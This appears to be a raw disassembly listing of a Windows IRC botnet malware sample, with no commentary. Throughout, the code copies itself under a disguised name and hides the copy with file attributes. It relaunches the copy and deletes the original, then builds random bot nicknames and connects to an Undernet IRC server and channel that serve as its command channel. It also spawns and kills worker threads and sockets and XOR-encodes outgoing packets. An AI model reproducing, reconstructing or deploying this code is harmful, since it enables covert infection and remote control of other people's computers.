jz short loc_40A3D7
loc_40A3B4: ; CODE XREF: sub_40A263+172j
call sub_41ECDE
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte ptr ds:aWindata_exe[edi], dl ; "windata.exe"
inc edi
call sub_41E1C0
sub eax, 4
cmp edi, eax
pop ecx
jb short loc_40A3B4
loc_40A3D7: ; CODE XREF: sub_40A263+141j
; sub_40A263+14Fj
push esi
lea eax, [ebp+var_3EC]
push eax
lea eax, [ebp+var_1E4]
push offset aSS_0 ; "%s\\%s"
push eax
call sub_41E6A6
add esp, 10h
lea eax, [ebp+var_1E4]
push eax
call ds:dword_42B050 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40A417
push 80h
lea eax, [ebp+var_1E4]
push eax
call ds:dword_42B04C ; SetFileAttributesA
loc_40A417: ; CODE XREF: sub_40A263+1A0j
mov esi, ds:dword_42B048
xor edi, edi
jmp short loc_40A443
; ---------------------------------------------------------------------------
loc_40A421: ; CODE XREF: sub_40A263+1F3j
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40A458
cmp eax, 20h
jz short loc_40A435
cmp eax, 5
jnz short loc_40A458
loc_40A435: ; CODE XREF: sub_40A263+1CBj
xor edi, edi
push 3A98h
inc edi
call ds:dword_42B014 ; Sleep
loc_40A443: ; CODE XREF: sub_40A263+1BCj
push ebx
lea eax, [ebp+var_1E4]
push eax
lea eax, [ebp+var_2E8]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_40A421
loc_40A458: ; CODE XREF: sub_40A263+1C6j
; sub_40A263+1D0j
lea eax, [ebp+var_1E4]
push eax
call sub_41AE17
pop ecx
push 7
lea eax, [ebp+var_1E4]
push eax
call ds:dword_42B04C ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_41E5F0
push 44h
pop esi
push esi
lea eax, [ebp+var_E0]
push ebx
push eax
call sub_41E5F0
mov [ebp+var_E0], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_D4], offset byte_42B633
mov [ebp+var_B4], esi
mov [ebp+var_B0], bx
call ds:dword_42B044 ; GetCurrentProcessId
push eax
push esi
push 100000h
call ds:dword_42B040 ; OpenProcess
lea ecx, [ebp+var_2E8]
push ecx
push eax
lea eax, [ebp+var_1E4]
push eax
lea eax, [ebp+var_984]
push offset aSDS ; "%s %d \"%s\""
push eax
call sub_41E6A6
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_E0]
push eax
lea eax, [ebp+var_3EC]
push eax
push ebx
push 28h
push esi
push ebx
push ebx
lea eax, [ebp+var_984]
push eax
lea eax, [ebp+var_1E4]
push eax
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jz short loc_40A542
push 0C8h
call ds:dword_42B014 ; Sleep
push [ebp+var_1C]
mov esi, ds:dword_42B004
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call ds:dword_444224 ; WSACleanup
push ebx
loc_40A53C: ; CODE XREF: sub_40A263+7Aj
call ds:dword_42B000 ; ExitProcess
loc_40A542: ; CODE XREF: sub_40A263+130j
; sub_40A263+2B5j
cmp ds:dword_4E2914, 2
jle short loc_40A58E
mov eax, ds:dword_4E2918
push dword ptr [eax+4]
call sub_41E7AD
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_42B054 ; WaitForSingleObject
push esi
call ds:dword_42B004 ; CloseHandle
mov eax, ds:dword_4E2918
cmp [eax+8], ebx
jz short loc_40A58E
push 7D0h
call ds:dword_42B014 ; Sleep
mov eax, ds:dword_4E2918
push dword ptr [eax+8]
call ds:dword_42B02C ; DeleteFileA
loc_40A58E: ; CODE XREF: sub_40A263+2E6j
; sub_40A263+310j
cmp ds:dword_43C088, ebx
jz short loc_40A5AB
cmp ds:dword_444274, ebx
jnz short loc_40A5AB
lea eax, [ebp+var_5F0]
push eax
call sub_401000
pop ecx
loc_40A5AB: ; CODE XREF: sub_40A263+331j
; sub_40A263+339j
lea eax, [ebp+var_9C]
push offset dword_42FDAC
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+var_9C]
push ebx
push eax
call sub_40AE85
lea eax, [ebp+var_9C]
push eax
call sub_417D70
push 0B80h
push ebx
push offset dword_4D1450
call sub_41E5F0
lea eax, [ebp+var_9C]
push offset unk_42FD88
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+var_9C]
push 1
push eax
call sub_40AE85
mov edi, ds:dword_42B03C
add esp, 38h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset byte_41C76D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_4444FC[esi], eax
jnz short loc_40A64B
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset unk_42FD48
push eax
call sub_41E6A6
add esp, 0Ch
loc_40A64B: ; CODE XREF: sub_40A263+3CBj
lea eax, [ebp+var_9C]
push eax
call sub_417D70
push 2
call sub_40B075
test eax, eax
pop ecx
pop ecx
jnz short loc_40A6D0
lea eax, [ebp+var_9C]
push offset dword_42FD1C
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+var_9C]
push 2
push eax
call sub_40AE85
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset loc_41321D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_4444FC[esi], eax
jnz short loc_40A6C3
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset dword_42FCE8
push eax
call sub_41E6A6
add esp, 0Ch
loc_40A6C3: ; CODE XREF: sub_40A263+443j
lea eax, [ebp+var_9C]
push eax
call sub_417D70
pop ecx
loc_40A6D0: ; CODE XREF: sub_40A263+3FFj
call sub_41ECDE
push 7Fh
and eax, 3
push offset aOslo_no_eu_und ; "oslo.no.eu.undernet.org"
push offset dword_4D12EC
mov ds:dword_4D1FE0, eax
call sub_41E860
mov eax, ds:dword_43C068
push 3Fh
push offset aImortal2 ; "#imortal2"
mov edi, offset dword_4D136C
push edi
mov ds:dword_4D143C, eax
call sub_41E860
push 3Fh
push offset aRelax ; "relax"
mov esi, offset dword_4D13AC
push esi
call sub_41E860
mov ds:dword_4D1440, ebx
loc_40A722: ; CODE XREF: sub_40A263+53Aj
; sub_40A263+584j
add esp, 24h
loc_40A725: ; CODE XREF: sub_40A263+542j
mov [ebp+var_4], ebx
loc_40A728: ; CODE XREF: sub_40A263+4FBj
push offset dword_4D12E8
mov ds:dword_4D1FDC, ebx
call sub_4025EF
cmp eax, 2
jz loc_40A7EC
cmp ds:dword_4D1FDC, ebx
jz short loc_40A74C
dec [ebp+var_4]
loc_40A74C: ; CODE XREF: sub_40A263+4E4j
push 0BB8h
call ds:dword_42B014 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40A728
cmp [ebp+var_C], ebx
jz short loc_40A79F
push 7Fh
push offset aOslo_no_eu_und ; "oslo.no.eu.undernet.org"
push offset dword_4D12EC
call sub_41E860
mov eax, ds:dword_43C068
push 3Fh
push offset aImortal2 ; "#imortal2"
push edi
mov ds:dword_4D143C, eax
call sub_41E860
push 3Fh
push offset aRelax ; "relax"
push esi
call sub_41E860
mov [ebp+var_C], ebx
jmp short loc_40A722
; ---------------------------------------------------------------------------
loc_40A79F: ; CODE XREF: sub_40A263+500j
cmp ds:byte_43C0DC, bl
jz loc_40A725
push 7Fh
push offset byte_43C0DC
push offset dword_4D12EC
call sub_41E860
mov eax, ds:dword_43C06C
push 3Fh
push offset aImortal2_3 ; "#imortal2"
push edi
mov ds:dword_4D143C, eax
call sub_41E860
push 3Fh
push offset aRelax_1 ; "relax"
push esi
call sub_41E860
mov [ebp+var_C], 1
jmp loc_40A722
; ---------------------------------------------------------------------------
loc_40A7EC: ; CODE XREF: sub_40A263+4D8j
call sub_40AFF6
loc_40A7F1: ; CODE XREF: sub_40A263+A0j
; sub_40A263+ADj
call ds:dword_444224 ; WSACleanup
loc_40A7F7: ; CODE XREF: sub_40A263+93j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40A263 endp
; =============== S U B R O U T I N E =======================================
sub_40A800 proc near ; CODE XREF: sub_40AB83+4Ap
; DATA XREF: seg002:off_43C4B8o
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
call sub_41ECDE
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push ds:off_43C520[edx*4]
push offset aS ; "%s"
push 1Ch
push edi
call sub_41E6FE
xor esi, esi
add esp, 14h
cmp ds:dword_43C090, esi
jle short loc_40A867
loc_40A841: ; CODE XREF: sub_40A800+65j
call sub_41ECDE
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41E6FE
add esp, 14h
inc esi
cmp esi, ds:dword_43C090
jl short loc_40A841
loc_40A867: ; CODE XREF: sub_40A800+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40A800 endp
; ---------------------------------------------------------------------------
dword_40A86C dd 15FF5756h, 42B038h, 445AE850h, 7C8B0001h, 4C71024h
dd 43C12C24h, 0B6406800h, 1C6A0042h, 3E6CE857h, 0F6330001h
dd 3910C483h, 43C09035h, 0E8267E00h, 1443Ah, 99590A6Ah
dd 5752F9F7h, 42E72468h, 571C6A00h, 13E45E8h, 14C48300h
dd 90353B46h, 7C0043C0h, 5FC78BDAh
db 5Eh, 0C3h
; =============== S U B R O U T I N E =======================================
sub_40A8CA proc near ; CODE XREF: sub_40274D+66B8p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call sub_41ECDE
push 3
cdq
pop ecx
idiv ecx
mov ebx, [esp+0Ch+arg_0]
xor edi, edi
mov esi, edx
add esi, ds:dword_43C090
test esi, esi
jle short loc_40A90D
loc_40A8F7: ; CODE XREF: sub_40A8CA+41j
call sub_41ECDE
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40A8F7
loc_40A90D: ; CODE XREF: sub_40A8CA+2Bj
mov byte ptr [edi+ebx], 0
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_40A8CA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
lea eax, [ebp-4]
push eax
mov esi, offset aPc ; "PC"
push esi
call ds:dword_42B05C ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41E6FE
xor esi, esi
add esp, 0Ch
cmp ds:dword_43C090, esi
jle short loc_40A980
loc_40A95A: ; CODE XREF: seg000:0040A97Ej
call sub_41ECDE
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41E6FE
add esp, 14h
inc esi
cmp esi, ds:dword_43C090
jl short loc_40A95A
loc_40A980: ; CODE XREF: seg000:0040A958j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
push 0Ah
lea eax, [ebp-0Ch]
push eax
push 7
push 800h
call ds:dword_42B060 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_6 ; "%s|"
push 1Ch
push edi
call sub_41E6FE
xor esi, esi
add esp, 10h
cmp ds:dword_43C090, esi
jle short loc_40A9F5
loc_40A9CF: ; CODE XREF: seg000:0040A9F3j
call sub_41ECDE
push 0Ah
pop ecx
cdq
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41E6FE
add esp, 14h
inc esi
cmp esi, ds:dword_43C090
jl short loc_40A9CF
loc_40A9F5: ; CODE XREF: seg000:0040A9CDj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
aUnlMbF db 'Ul$Œì”',0
dd 57560000h, 50E0458Dh, 42B633BEh, 0E045C700h, 94h, 0B06415FFh
dd 15FF0042h, 42B038h, 42AAE850h, 7D830001h, 755904E4h
dd 0E87D8338h, 83187500h, 7501F07Dh, 282CBE05h, 7D830043h
dd 517502F0h, 432828BEh, 834AEB00h, 750AE87Dh, 2824BE07h
dd 3DEB0043h, 5AE87D83h, 20BE3275h, 0EB004328h, 0E47D8330h
dd 83257505h, 7500E87Dh, 281CBE07h, 1DEB0043h, 1E87D83h
dd 18BE0775h, 0EB004328h, 0E87D8310h, 2814BE02h, 5740043h
dd 432810BEh, 7C7D8B00h, 28086856h, 1C6A0043h, 3C54E857h
dd 0F6330001h, 3910C483h, 43C09035h, 0E8267E00h, 14222h
dd 99590A6Ah, 5752F9F7h, 42E72468h, 571C6A00h, 13C2DE8h
dd 14C48300h, 90353B46h, 7C0043C0h, 5FC78BDAh, 74C5835Eh
db 0C9h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAE6 proc near ; CODE XREF: sub_40AB83+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_42B038 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
call ds:dword_444160 ; FindWindowA
cmp esi, 64h
jbe short loc_40AB35
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AB1E
mov eax, offset byte_42B633
loc_40AB1E: ; CODE XREF: sub_40AAE6+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41E6FE
add esp, 14h
jmp short loc_40AB4F
; ---------------------------------------------------------------------------
loc_40AB35: ; CODE XREF: sub_40AAE6+28j
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AB43
mov eax, offset byte_42B633
loc_40AB43: ; CODE XREF: sub_40AAE6+56j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_40AB4F: ; CODE XREF: sub_40AAE6+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41E1C0
cmp eax, 2
pop ecx
pop esi
jbe short loc_40AB7E
push 1Ch
push [ebp+arg_0]
lea eax, [ebp+var_1C]
push eax
call sub_41F2C0
push 1Ch
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_0]
call sub_41E860
add esp, 18h
loc_40AB7E: ; CODE XREF: sub_40AAE6+77j
mov eax, [ebp+arg_0]
leave
retn
sub_40AAE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB83 proc near ; CODE XREF: sub_402472+52p
; sub_4025EF+4Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_40AB8C: ; CODE XREF: sub_40AB83+40j
cmp [ebp+arg_C], 0
jz short loc_40ABAA
lea eax, dword_43C4A8[esi]
push eax
push [ebp+arg_C]
call sub_41E990
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40ABB8
; ---------------------------------------------------------------------------
loc_40ABAA: ; CODE XREF: sub_40AB83+Dj
mov ecx, ds:dword_43C4B4[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40ABB8: ; CODE XREF: sub_40AB83+25j
test eax, eax
jnz short loc_40ABC7
add esi, 14h
inc edi
cmp esi, 78h
jb short loc_40AB8C
jmp short loc_40ABD5
; ---------------------------------------------------------------------------
loc_40ABC7: ; CODE XREF: sub_40AB83+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call ds:off_43C4B8[eax*4]
pop ecx
loc_40ABD5: ; CODE XREF: sub_40AB83+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40ABE8
push [ebp+arg_0]
call sub_40AAE6
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40ABE8: ; CODE XREF: sub_40AB83+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AB83 endp
; =============== S U B R O U T I N E =======================================
sub_40ABED proc near ; CODE XREF: sub_40AC0D+Ap
; sub_40AE01+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41E1C0
push [esp+8+arg_4]
mov esi, eax
call sub_41E1C0
pop ecx
pop ecx
lea eax, [esi+eax*2+0C1h]
pop esi
retn
sub_40ABED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC0D proc near ; CODE XREF: sub_40AE18+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40ABED
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40AC2A
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40AC2A: ; CODE XREF: sub_40AC0D+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41E1C0
push [ebp+arg_C]
mov esi, eax
call sub_41E1C0
mov ebx, [ebp+arg_0]
mov edi, eax
lea eax, [edi+esi+12h]
mov ds:dword_43D7F4, eax
lea eax, [edi+1]
mov ds:dword_43D815, eax
push 0FFFFFFEDh
lea eax, [edi+17h]
mov ds:dword_43D80D, eax
pop eax
push 74h
sub eax, edi
push offset dword_43D790
push ebx
mov ds:dword_43D823, eax
call sub_41F400
push esi
push [ebp+arg_8]
lea eax, [ebx+74h]
push eax
call sub_41F400
push 5
add esi, 74h
lea eax, [esi+ebx]
push offset aGet ; " get "
push eax
call sub_41F400
push edi
push [ebp+arg_C]
add esi, 5
lea eax, [esi+ebx]
push eax
call sub_41F400
push 10h
add esi, edi
lea eax, [esi+ebx]
push 43D809h
push eax
call sub_41F400
add esp, 44h
push edi
push [ebp+arg_C]
add esi, 10h
lea eax, [esi+ebx]
push eax
call sub_41F400
push 38h
add esi, edi
push offset byte_43D819
add esi, ebx
push esi
call sub_41F400
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40AC0D endp
; =============== S U B R O U T I N E =======================================
sub_40ACE5 proc near ; CODE XREF: sub_40AD00+47p
; sub_40AE01+Ep
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40ACEE
inc ecx
loc_40ACEE: ; CODE XREF: sub_40ACE5+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40ACE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD00 proc near ; CODE XREF: sub_40AE18+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_40AD1A
cmp dl, 0Dh
jz short loc_40AD1A
cmp dl, 5Ch
jz short loc_40AD1A
test dl, dl
jnz short loc_40AD1E
loc_40AD1A: ; CODE XREF: sub_40AD00+Aj
; sub_40AD00+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_40AD1E: ; CODE XREF: sub_40AD00+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_40AD46
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_40AD3D
cmp al, 0Dh
jz short loc_40AD3D
cmp al, 5Ch
jz short loc_40AD3D
test al, al
jnz short loc_40AD46
loc_40AD3D: ; CODE XREF: sub_40AD00+2Fj
; sub_40AD00+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_40AD46: ; CODE XREF: sub_40AD00+26j
; sub_40AD00+3Bj
push edx
call sub_40ACE5
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40AD5C
cmp eax, 0FFFFh
jbe short loc_40AD63
loc_40AD5C: ; CODE XREF: sub_40AD00+53j
xor eax, eax
jmp loc_40ADFE
; ---------------------------------------------------------------------------
loc_40AD63: ; CODE XREF: sub_40AD00+5Aj
push ebx
mov bl, ds:byte_4D1FE8
xor ecx, ecx
test edx, edx
push edi
mov edi, [ebp+arg_8]
jbe short loc_40AD90
loc_40AD74: ; CODE XREF: sub_40AD00+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_40AD87
cmp al, 0Ah
jz short loc_40AD87
cmp al, 0Dh
jz short loc_40AD87
cmp al, 5Ch
jnz short loc_40AD8B
loc_40AD87: ; CODE XREF: sub_40AD00+79j
; sub_40AD00+7Dj ...
inc bl
xor ecx, ecx
loc_40AD8B: ; CODE XREF: sub_40AD00+85j
inc ecx
cmp ecx, edx
jb short loc_40AD74
loc_40AD90: ; CODE XREF: sub_40AD00+72j
cmp edx, esi
mov ds:byte_4D1FE8, bl
ja short loc_40ADBC
push 15h
push offset dword_43D778
push [ebp+arg_0]
mov ds:byte_43D785, dl
mov ds:byte_43D789, bl
call sub_41F400
add esp, 0Ch
push 15h
jmp short loc_40ADDD
; ---------------------------------------------------------------------------
loc_40ADBC: ; CODE XREF: sub_40AD00+98j
push 17h
push offset dword_43D760
push [ebp+arg_0]
mov ds:word_43D76E, dx
mov ds:byte_43D773, bl
call sub_41F400
add esp, 0Ch
push 17h
loc_40ADDD: ; CODE XREF: sub_40AD00+BAj
xor eax, eax
cmp [ebp+arg_C], eax
pop ecx
jbe short loc_40ADF9
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40ADEB: ; CODE XREF: sub_40AD00+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40ADEB
loc_40ADF9: ; CODE XREF: sub_40AD00+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40ADFE: ; CODE XREF: sub_40AD00+5Ej
pop esi
leave
retn
sub_40AD00 endp
; =============== S U B R O U T I N E =======================================
sub_40AE01 proc near ; CODE XREF: sub_40AE18+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40ABED
push eax
call sub_40ACE5
add esp, 0Ch
retn
sub_40AE01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE18 proc near ; CODE XREF: seg000:00410AB1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40AE01
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40AE38
cmp eax, 0FFFFh
jbe short loc_40AE3C
loc_40AE38: ; CODE XREF: sub_40AE18+17j
xor eax, eax
jmp short loc_40AE81
; ---------------------------------------------------------------------------
loc_40AE3C: ; CODE XREF: sub_40AE18+1Ej
push esi
push edi
push ebx
call sub_40ABED
add eax, 101h
push eax
call sub_41E5D3
add esp, 0Ch
push edi
push ebx
push edi
push ebx
mov esi, eax
call sub_40ABED
pop ecx
pop ecx
push eax
push esi
call sub_40AC0D
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40AD00
push esi
mov edi, eax
call sub_41E2A1
add esp, 24h
mov eax, edi
pop esi
loc_40AE81: ; CODE XREF: sub_40AE18+22j
pop edi
pop ebx
pop ebp
retn
sub_40AE18 endp
; =============== S U B R O U T I N E =======================================
sub_40AE85 proc near ; CODE XREF: sub_40274D+6E4p
; sub_40274D+91Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4442E8
loc_40AE8D: ; CODE XREF: sub_40AE85+18j
cmp byte ptr [eax], 0
jz short loc_40AEA1
add eax, 234h
inc edi
cmp eax, offset dword_4D12E8
jl short loc_40AE8D
jmp short loc_40AEEC
; ---------------------------------------------------------------------------
loc_40AEA1: ; CODE XREF: sub_40AE85+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_4442E8[esi]
push eax
call sub_41E860
mov eax, [esp+14h+arg_4]
and ds:dword_4444EC[esi], 0
mov ds:dword_4444E8[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and ds:dword_4444F0[esi], 0
mov ds:dword_4444F4[esi], eax
mov ds:byte_444500[esi], 0
pop esi
loc_40AEEC: ; CODE XREF: sub_40AE85+1Aj
mov eax, edi
pop edi
retn
sub_40AE85 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push dword ptr [ebp+10h]
push offset dword_432844
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
xor edi, edi
mov esi, offset dword_4442E8
loc_40AF1A: ; CODE XREF: seg000:0040AF68j
cmp byte ptr [esi], 0
jz short loc_40AF5B
cmp dword ptr [ebp+14h], 0
jnz short loc_40AF2E
cmp dword ptr [esi+204h], 0
jnz short loc_40AF5B
loc_40AF2E: ; CODE XREF: seg000:0040AF23j
push esi
push edi
lea eax, [ebp-200h]
push offset aD_S ; "%d. %s"
push eax
call sub_41E6A6
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-200h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 24h
loc_40AF5B: ; CODE XREF: seg000:0040AF1Dj
; seg000:0040AF2Cj
add esi, 234h
inc edi
cmp esi, offset dword_4D12E8
jl short loc_40AF1A
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40AF6E proc near ; CODE XREF: sub_40274D+779Bp
; sub_40AFF6+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40AFF0
cmp esi, 400h
jge short loc_40AFF0
imul esi, 234h
push edi
push ebx
lea edi, dword_4444FC[esi]
push dword ptr [edi]
call ds:dword_42B028 ; TerminateThread
cmp [edi], ebx
jz short loc_40AFA0
inc ebp
loc_40AFA0: ; CODE XREF: sub_40AF6E+2Fj
mov [edi], ebx
lea edi, dword_4444F0[esi]
mov eax, [edi]
cmp eax, ebx
mov ds:dword_4444E8[esi], ebx
mov ds:dword_4444EC[esi], ebx
jbe short loc_40AFC1
push eax
call sub_41C736
pop ecx
loc_40AFC1: ; CODE XREF: sub_40AF6E+4Aj
mov [edi], ebx
lea edi, dword_4444F4[esi]
push dword ptr [edi]
mov byte ptr ds:dword_4442E8[esi], bl
mov ds:byte_444500[esi], bl
call ds:dword_444218 ; closesocket
lea esi, dword_4444F8[esi]
push dword ptr [esi]
mov [edi], ebx
call ds:dword_444218 ; closesocket
mov [esi], ebx
pop edi
loc_40AFF0: ; CODE XREF: sub_40AF6E+Dj
; sub_40AF6E+15j
pop esi
mov eax, ebp
pop ebp
pop ebx
retn
sub_40AF6E endp
; =============== S U B R O U T I N E =======================================
sub_40AFF6 proc near ; CODE XREF: seg000:00401127p
; sub_40274D+2D10p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4442E8
loc_40B002: ; CODE XREF: sub_40AFF6+2Aj
cmp byte ptr [esi], 0
jz short loc_40B013
push edi
call sub_40AF6E
test eax, eax
pop ecx
jz short loc_40B013
inc ebx
loc_40B013: ; CODE XREF: sub_40AFF6+Fj
; sub_40AFF6+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4D12E8
jl short loc_40B002
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_40AFF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B028 proc near ; CODE XREF: sub_40274D+3E9Bp
; sub_40274D+3FE3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4444EC
loc_40B03C: ; CODE XREF: sub_40B028+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B05E
test edi, edi
jle short loc_40B050
cmp [esi], edi
jz short loc_40B050
cmp ebx, edi
jnz short loc_40B05E
loc_40B050: ; CODE XREF: sub_40B028+1Ej
; sub_40B028+22j
push ebx
call sub_40AF6E
test eax, eax
pop ecx
jz short loc_40B05E
inc [ebp+var_4]
loc_40B05E: ; CODE XREF: sub_40B028+1Aj
; sub_40B028+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4D14EC
jl short loc_40B03C
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B028 endp
; =============== S U B R O U T I N E =======================================
sub_40B075 proc near ; CODE XREF: sub_40274D+896p
; sub_40274D+1B5Fp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4444E8
loc_40B07C: ; CODE XREF: sub_40B075+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B085
inc eax
